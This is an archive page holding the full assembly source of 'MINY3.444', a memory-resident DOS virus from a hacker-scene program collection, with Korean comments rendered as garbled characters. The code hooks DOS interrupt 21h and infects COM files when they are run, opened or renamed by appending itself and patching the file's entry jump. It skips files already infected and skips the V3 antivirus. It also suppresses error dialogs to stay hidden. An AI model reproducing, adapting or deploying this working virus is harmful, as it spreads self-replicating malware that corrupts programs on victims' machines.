home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
Collection of Hack-Phreak Scene Programs
/
cleanhpvac.zip
/
cleanhpvac
/
KOREACOL.ZIP
/
MINY.ZIP
/
MINY3.ZIP
/
MY3-444.ASM
< prev
next >
Wrap
Assembly Source File
|
1995-06-01
|
10KB
|
297 lines
;******************************************************************************
;* *
;* MINY3.444 Virus *
;* *
;* 444 ñß╕σ╖ÑòA êq╡q¡óòíêa ¿i£a╣vöa. »⌐╨ù¬à┤aôí£a ╠a╖⌐ ╡í╧eùw╡Aòí êq╡q╖í *
;* ûEöa. ╨a╗íáe, ╡b»í COMMAND.COM ╡A êq╡q╖í ûA┤ß¼ß ªü╦╖╖í ┤eûI«ü ╖╢öa. *
;* *
;******************************************************************************
PARASIZE EQU (TVirEND - Start + 0Fh) SHR 4 ; £æ╡A¼ß └a╗í╨aôe ╟aïí
VIRUS SEGMENT PARA 'VIRUS'
ASSUME CS:VIRUS, DS:VIRUS
Start:
mov BP,100h ; BP=ña╖í£ß»a »í╕b ║ü¡íêt
NOP
JMP ChkVirinMEM ; £æ ¼w║ü ╠a╦a¥í ╕±╧a
NOP
DB 'SVS!' ; ña╖í£ß»a ╣A╕b╕a
NewInt21: ; ¼ü¥í╢à 21h ñσ ╖Ñ╚ߣ≤╦a
Pushf
xchg ah,al ; AH êt╖í AL ╡A ùi┤ßêeöa.
cmp al,4Bh ; »⌐╨ù?
jz Push_All ; ╠a╖⌐ êq╡q ╤í┬ë
cmp al,3Dh ; ╡í╧e?
jz Push_All
cmp al,43h ; ¡ó¼≈?
jz Push_All
cmp al,56h ; ╠a╖⌐ ╖íƒq ñaÄüïí (REN ┤aô▒)
jz Push_All
cmp al,6ch ; ╤┬╕w ╡í╧e
jz Push_All
cmp AX,034F0h ; £æ ¼w║ü ╡aªü ê±¼a╖Ñêa?
jnz J_Int21
Popf
xor ax,ax ; áx╖aíe 0000╖i ò⌐¥a║æ
IRET
J_Int21: ; ╢Ñ£ü int 21¥í ╕±╧a
xchg ah,al
PopF
DB 0EAh
OldInt21 DD ?
DB '/Korea' ; èé¼e ña╖í£ß»a╖▒.
callInt21: ; Int 21h ╤í┬ë(Int 21h╨aíe ña╖í£ß»a
xchg ah,al ; êa Int 21 ╨aëí ┬ùò⌐╨q)
PushF
call dword ptr CS:OldInt21
RET
Push_All:
Push AX ; ¥A╗í»a╚ß ╕ß╕w
Push BX
Push CX
Push DX
Push DS
Push ES
Push SI
Push DI
cmp al,6ch ; ¼ü¥í╢à ╡í╧e ñw»ó╖Ñêa?
jnz ChkEXTisCOM
cmp dl,01 ; ╡í╧e ñw»ó ê±¼a
jnz JumpExit
mov dx,si ; 6Ch ôe SI ╡A ╠a╖⌐╖íƒq ╢ß├íêa ùi┤ß
ChkEXTisCOM: ; êeöa.
mov si,dx ;
Loop_Zero:
lodsb
cmp al,00 ; ╠a╖⌐ ╖íƒq Å{╖Ñêa?
jz JumpExit
cmp al,'.' ; ╤┬╕w╕a èüÑi╖Ñêa?
jnz Loop_Zero
lodsw
and ax,0DFDFh ; öüóà╕a¥í áeùiïí
cmp ax,'OC' ; COm
jnz JumpExit
lodsb
and al,0DFh
cmp al,'M' ; coM
jz SetInt24h ; ╤┬╕w╕aêa COM ╖ííe êq╡q
JumpExit:
Jmp Pop_all
SetInt24h:
mov bx,ds ; Int 24h ƒi êa¥í└àöa.
xor ax,ax
mov ds,ax
Push DS:[0090h]
Push DS:[0092h]
mov word ptr DS:[0090h],offset NewInt24
mov word ptr DS:[0092h],cs
mov ds,bx ; ¡ó¼≈ ┤Φïí
mov ax,0043h
call callInt21
Push CX ; CX=¡ó¼≈
Push DX ; DS:DX = ╠a╖⌐ ╖íƒq ╢ß├í
Push DS
MOV AX,0143h ; ╖¬ïí/│aïí ¡ó¼≈╖a¥í ñaÄæ
xor cx,cx
call callInt21
jnc Open_File
JMP Restore_old
Open_File:
mov ax,023dh ; ╠a╖⌐ ╡í╧e ╨aïí
call callInt21
jc Restore_Old
push cs ; cs=ds=es
pop ds
Push cs
pop es
xchg bx,ax ; ╨àùi ┤Φïí
Read_File:
mov ah,3Fh ; ╖¬┤ß ùi╖íïí
mov dx,offset Org4bytes
mov si,dx
mov cx,0004h
int 21h
ChkEXEFile:
cmp byte ptr [SI],'M' ; EXE ╠a╖⌐ ╖Ñêa?
jz Close_File
ChkFSize:
cmp byte ptr [SI+3],34h ; êq╡q ╡aªü ╤┬╖Ñ
jz Close_File
mov di,offset V3_Str ; V3 ╠a╖⌐╖Ñ╗í ê±¼a
mov cx,0004
repz cmpsb
jz Close_file
mov al,02h ; ╠a╖⌐╖ü ╣A╖⌐ ûߥí
call Set_Pnt
cmp ax,1234 ; 1234 Ñíöa ╕b╖eêa?
jb Close_File
cmp ax,65000 ; 65000 Ñíöa ╟eêa?
ja Close_File
Push AX
add AX,0100h
mov word ptr Start+1,ax ; ña╖í£ß»a »í╕b╢ß├í
Pop AX
sub ax,0003 ; JMP íw¥w ╣í╕b
mov word ptr FileHead+1,ax
mov byte ptr FileHead+3,34h
mov ax,5700h ; ╠a╖⌐ Éi╝a/»íêe ┤Φïí
Push AX
Int 21h
Push CX
Push DX
mov ah,40h ; ña╖í£ß»a │aïí
xor dx,dx
mov cx, offset VirEND
Int 21h
mov al,00h ; ╠a╖⌐╖ü └ß╖q╖a¥í ╖íò╖
call Set_Pnt
mov ah,40h ; ña╖í£ß»a │aïí
mov dx, offset FileHead
mov cx,0004h
Int 21h
Pop dx
Pop CX
Pop AX
Inc AL ; AX=5701h
Int 21h ; ╢Ñ£ü Éi╝a ¥í Ñóèü
Close_File: ; ╠a╖⌐ öhïí
mov ah,3eh
Int 21h
Restore_Old:
Pop DS ; ¡ó¼≈ Ñóèü
Pop DX
pop CX
mov ax,0143h
Call callInt21
xor ax,ax ; ╢Ñ£ü Int 24h Ñóèü
mov ds,ax
POP DS:[0092h]
POP DS:[0090h]
Pop_All:
Pop DI
Pop si
Pop ES
Pop ds
Pop dx
Pop cx
Pop bx
Pop ax
Jmp J_Int21
;********************************************
; £æ¼w║ü ªüªà
;
ChkVirinMEM:
mov AH,34h ; AX=F034h/Int 21hȒ
mov AL,0F0h ; AX=0 ╖ííe £æ╡A ña╖í£ß»a ╖╢╖q
xchg ah,al
Int 21h ;
or ax,ax ;
jz Restart_COM ;
xor bx,bx ; BX=0000
mov ds,bx ; 0000:0084h Ñó¼a
mov si,0083h
lea DI,SS:[BP+OldInt21]
Inc SI
cld
movsw ; 0000:0084 ->
Push cs ; CS=AX
Pop AX
movsw ; 0000:0086 ->
Push cs ; CS=DS
Pop ds
mov CX, PARASIZE ; £æ ║ë╖⌐ ╟aïí
dec ax
mov ds,ax
Inc BL ; BX=0001
cmp byte ptr DS:[BX-1],'Z' ;
jnz Restart_COM
sub word ptr [BX+02],CX ;
sub word ptr [BX+11h],CX ;
mov ES,word ptr [BX+11h] ;
Push cs ; ña╖í£ß»a ┬A¼w╢ߥí Ñó¼a
Pop ds
mov si,BP
xor di,di
mov cx, offset TVirEND
repz movsb
mov ds,cx ; Int 21h ƒi └a╗í╨eöa.
cli
mov word ptr [BX+85h],es
mov word ptr [BX+83h],offset NewInt21
sti
Restart_COM:
mov si,BP
push cs
pop ds
push cs ; ds=es
pop es
add si,offset Org4bytes ; ╢Ñ£ü òA╖í╚ß╖ü êt èü╨aïí
mov di,00FFh
Inc di ; └ß╖q╖ü 4 ña╖í╦a Ñóèü
push di
movsw
movsw
RET
Org4bytes db 90h,90h,0cdh,20h ; ╢Ñ£ü 4 ña╖í╦a╖ü êt
Set_Pnt:
mov ah,42h
xor cx,cx
xor dx,dx
Int 21h
RET
NewInt24: ; ╡A£ßêa Éa╗í ┤gëA╨eöa.
xor al,al
IRET
DB '[Miny3]' ; ña╖í£ß»a ╖íƒq
V3_Str DB 0EBh,13h,73h,43h ; V3 »óÑi óà╕a╡i
FileHead DB 0E9h ; Long jump
VirEND:
DB ?,?,?
TVirEND:
VIRUS ENDS
end Start